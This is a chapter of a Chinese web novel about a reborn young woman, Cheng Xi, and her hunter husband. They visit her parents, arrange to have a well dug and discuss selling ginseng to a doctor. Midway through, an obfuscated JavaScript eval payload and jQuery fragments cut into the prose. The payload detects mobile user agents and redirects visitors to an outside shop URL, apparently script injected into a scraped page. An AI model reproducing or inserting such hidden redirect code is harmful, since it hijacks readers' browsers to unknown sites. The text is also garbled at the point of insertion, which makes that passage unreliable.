15. 第十五章
    两人拍门后,是徐芬应声开的门,此时成大头还在摊子上卖肉呢!

    见了这两人来,徐芬当下便笑得合不拢嘴,她忙不迭招呼人进去,又道,“你们先坐,我去喊你爹,让他留块好肉中午做着吃。”

    成禧忙开口:“我们也正好要到街上,我跟祁闻瑱商量着要在院子里打口井,工匠得从街上找。”

    “这是两只兔子,还在活着,专门带给你跟我爹吃的,还有这个叫羊肚菌,用水泡发后炖汤好吃。”

    把带给他们的东西拿出,成禧又道:“娘,你身体咋样了?”

    徐芬一面开心,一面回话:“每次做饭你爹都给我用祁哥儿带来的那根人参炖汤,喝了这么些日子的汤,我就觉得身子比以前还要好得多。”

    她说着,转头看向这个不爱说话的女婿,诚心朝他道谢,“祁哥儿,这都是托你的福,娘给你说声谢谢,我家禧儿有什么不懂事的地方,你只管给我讲,我一定好好说说她。”

    成禧莫名:“娘!”

    你不能为了讨好你的女婿就不要闺女了吧!

    这样不好的吧!

    祁闻瑱只是笑,见妻子看向他,又连忙收了笑,正色朝岳母说道:“娘不用跟我如此客气,若是还有需要,只管跟女婿提就是。”

    岳母用了他送来的人参入药,这事儿成禧跟他说过,他听说过后只庆幸那条人参有用,让岳父岳母对他刮目相看。

    “还有,成禧很好,一切都好。”

    最后一句话引得成禧侧目,她咧着嘴朝她娘笑得张狂:瞧,你闺女我可好着呢!

    徐芬隔空点点她的头,不再多言,心里却是满意的紧,小两口的互动她都看在眼里,也再一次确信,成禧嫁给祁哥儿不是赌气。

    对于祁哥儿,她也不得不承认,就禧儿来说,他比梁文昌那个小子,上心的不是一点半点!

    也难怪禧儿会突然跟梁文昌退婚,非祁哥儿不嫁了,想来,一切都是有缘由的。

    唉,说到梁文昌,徐芬便忍不住叹气,这孩子最近也是倒霉,听说他偷人,被那姑娘的爹发现,给打个半死,眼下正躺在屋里下不了床呢。

    以前怎么没发现这孩子还有这一面。

    得亏禧儿没嫁给他!

    想到这里,徐芬灵光一现——禧儿说不嫁梁文昌就不嫁了,她私下跟禧儿爹还说,肯定是有什么事在里面,现在看来,莫不是禧儿早就知道了梁文昌做的丑事了?

    越想越有可能,禧儿到底已经成婚了,这些事就不要再说给她听,免得徒增烦恼,可……

    徐芬还是趁着女婿进店买东西的当儿,抽空给成禧说了这事,其实这事不是主要的,主要的另有其事——

    “梁文昌一家住在镇上的房子,本来就是咱家花钱给他们租的,你让他还你六十两,他那里有那钱!不定他那钱是怎么来的,反正他爹娘几个人在镇上是住不下去了,听你爹说,他们估计还要回村里住。”

    “那家人我算看出来了,老的老,小的小,没一个好心眼的,你们在村里遇上可要小心点。”

    徐芬最担心的主要是这点。

    成禧听了倒是没有什么反应,她也不常回村里,和那家人估计也见不了几面。

    然而她娘担心的也不是没有道理,梁壮实他们几个年纪大的确实难缠。

    打从梁文昌赶在她成婚之前,还了她那六十两后,她便决心与这人再无瓜葛。

    上辈子他杀了他,这辈子他还未发达,计划尚未成型。

    与他断个干干净净,便是她能想到最好的解法。

    况且,重活一世,她也不是冲着找他报仇雪恨来的——

    她看清了最应该对谁好,只想要把时间都交给这人而已。

    不过,上世梁文昌和青石巷的那位姑娘的事,并没有在这时爆出来,是她与他成婚后,她自己发现的。

    而且也并没有闹到如今人尽皆知的地步。

    梁文昌,也没有被打的起不来。

    到底这些事与她再无干系,

    想起这一家人,还是忍不住叹口气,还是有隐隐的担忧,店铺有了动静,成禧抬眼望去,祁闻瑱正从店里出来,他手里拿着的,是几根皮弦。

    她知道,那是给她做弓箭用的。

    罢了,那些人,怎么样也伤不到她。

    收起心中担忧,成禧展开笑容,去迎接她的丈夫。

    而徐芬知道了女婿准备教闺女使箭的事,她心里隐隐也有担忧,毕竟女婿是靠打猎为生,怎么想怎么不安全。

    不过闺女没说,她即便这样想也不能拿它去烦闺女,只能跟她多说几句“注意安全”。

    做弓箭的材料买好了,他们还需要打井的工匠,这事徐芬也不熟悉。

    正好成大头在不远处摆摊,一行三人便寻了过去。

    到的时候,成大头摊上没几块肉了,方才闺女女婿回来时,徐芬已经过来拿过肉,眼下见三人来了,听罢需求,成大头干脆把摊收了,剩下的肉也不卖了,“待会儿回去炸了做酥肉,你们回去时带上。”

    禧儿可喜欢吃酥肉了。

    成大头常年在街上摆摊,对于街上开的各种铺子他都熟,领着几人轻车熟路地便找到了石匠家里。

    石匠听说要打井,问是什么地方,要打多大的井,听了要求,又说还需要二三人,约好时间,小两口便交付押金。

    办过这事,几人又往家里赶。

    时值半晌午,集市上的热闹渐渐开始散场。

    成禧往常也常在街上逛,她对逛街一事,便也没什么兴趣。

    可一想着祁闻瑱都是一个人生活,估计也没怎么逛过街,她就想陪着他好好逛逛;

    再一想成婚半个多月才回来一趟,爹为她回来提早收了摊子,现在爹娘两人也都跟在身边,她也想跟两人好好唠唠这段时间她家里发生的变化;

    又想到她还有好朋友乔小蕊也在等着她——方才回来时,她还特意跟她打了招呼,说晚点过去找她玩。

    成禧难得纠结了一会儿,怎么时间好像不够用的样子?

    爹娘两人在前面走着,成禧贴着祁闻瑱把自己所想跟他说了,“要不,咱们今晚不回去了。”

    “那石匠明天过去打井怎么办?”

    “也对。”

    “还有,小黄小灰,小鸭小鸡也要吃饭怎么办?”

    “地里的菜也要浇水了。”

    来镇上的时候,本来没想过今晚上不回去,所以他们跟石匠约好,明天上午过去打井。

    可成禧一回来,就觉得一股熟悉的感觉扑面而来,

    爹娘还有好友,这里的一切都让她觉得亲切。

    唉,要是能跟爹娘在一块生活就好了。

    可是这话她不会跟祁闻瑱感叹。

    以祁闻瑱的性子,肯定会尽可能地迁就她的一切,让她如愿。

    可是是她主动去选择他的,她很清楚他是什么样子。

    从小便习惯跟大山打交道的人,又怎么会喜欢这些人间热闹,他能跟村里人慢慢试着相处经就很不错了。

    村尾那处,才是最适合他的地方。

    反正镇上离村里也不远,她想爹娘的时候,可以随时回来的。

    无需如此伤感。

    而且,等成大头不想再卖猪肉了,他们说过还要回村里养老。

    到时候给他俩盖一座大房子,让他们开开心心地养老。

    她照样能陪在他们身边。

    祁闻瑱这边说

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14268352|151542||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    完话,看见妻子纠结的样子,想起她方才所说,又道:“我并不喜欢逛街。”

    “我回去就行,你可以多住几天,什么时候想回去了,我来接你就是。”

    他……很喜欢有她在的日子。

    可他也不舍得她为难。

    妻子想念自己的父母,情有可原,他无话可说。

    “那我想你怎么办?”

    成禧正正经经地说出这句话,问完就扑闪着眼睛看他。

    祁闻瑱抿抿唇,一时语塞。

    他是真不知道怎么回答这句话。

    成禧也没指望他能说出什么好听的话来,不只是过个嘴瘾而已。

    几人回了家,成大头徐芬做菜,成禧在旁边打下手。

    祁闻瑱做饭水平不好,仅仅是能入口的程度,他也就不在旁边添乱。

    不过三人做饭,他自己一人干坐着也无趣,成禧就给他安排了烧火。

    灶房并不大,容纳四个人在里面就显得很是拥挤,成禧被赶到了门外择菜。

    一家人说着闲话,徐芬忽地想起一事,她试探着跟祁闻瑱说:“祁哥儿,我就提一嘴,你别多想啊——”

    “上次给我看病的那个老大夫,我去复查,他说我身体好的多了,说是多亏了你那个人参的福,问我是从哪来的。”

    “我想着人参这么金贵,怕惹麻烦,就没敢说是你送的,只讲是一个远方亲戚送的。”

    徐芬观察着女婿的神色,见他面无异色,这才接着道:

    “老大夫便托我,要是下次再见到这个远方亲戚,帮忙打听一下还有没有这样的人参。”

    “比这年份再小些的即可,年份更大的就不用提了,他出不起钱。”

    “老大夫人挺好的,我就帮他问一嘴,祁哥儿你可千万别多想啊!”

    以“别多想”开口,“别多想”结束,徐芬这话说的忐忑极了。

    她是真怕女婿多想,怕他以为自己是在打听他有多少人参。

    可是那个老大夫美名在外,自己又是他看过的病人,便也存了两分“能帮则帮”的心思,想着帮忙问上一嘴。

    成禧听了没吭声,连头也不抬,继续笑着低头择菜。

    那些人参是祁闻瑱凭本事得来的,一切全由他自己做主。

    他那么谨慎的一个人,在无人知晓的角落里挖出一个那样的地窖,里面的东西价值几何,他比自己心里有数。

    这是丈母娘跟女婿之间的交流,她才不去插手。

    “娘放心,你不用担心,我不会误会的。”

    祁闻瑱带着笑说,他转头看外面的成禧一眼,见她没反应,就知道这事自己能做主,他掂量着开口,“这些年我在山上不时碰到过几回人参,便也攒下来一些。”

    “除了送你的这根,我那里确实还有几根。”

    “您说的那位老大夫要的年份大小的人参我那也是有的。”

    见岳母充满期待地望着他,祁闻瑱笑笑,继续道:“他若是真要,下次我来镇上便可以送来。”

    “不过,娘,你得跟老大夫确定好,他要的人参的价值价值约在八十两。”

    “便是看在你的份上便宜一些,却是也便宜不到哪里去。”

    徐芬是有心理准备的,上次这女婿送的人参,那老大夫看过后便说“怕是有百两银子也买不下来”。

    没想到,这次居然也要这么多钱,八十两,也快小百两了!

    她还真得问问那老大夫,手里可能拿得出这银钱。

    成大头也不掺和两人的谈话,他手上利落地切着肉,一块又一块,只在听见女婿嘴里说出来“八十两”时,手抖了一下,刀切到指甲盖上,留下了一道痕迹。

    别的也没什么事。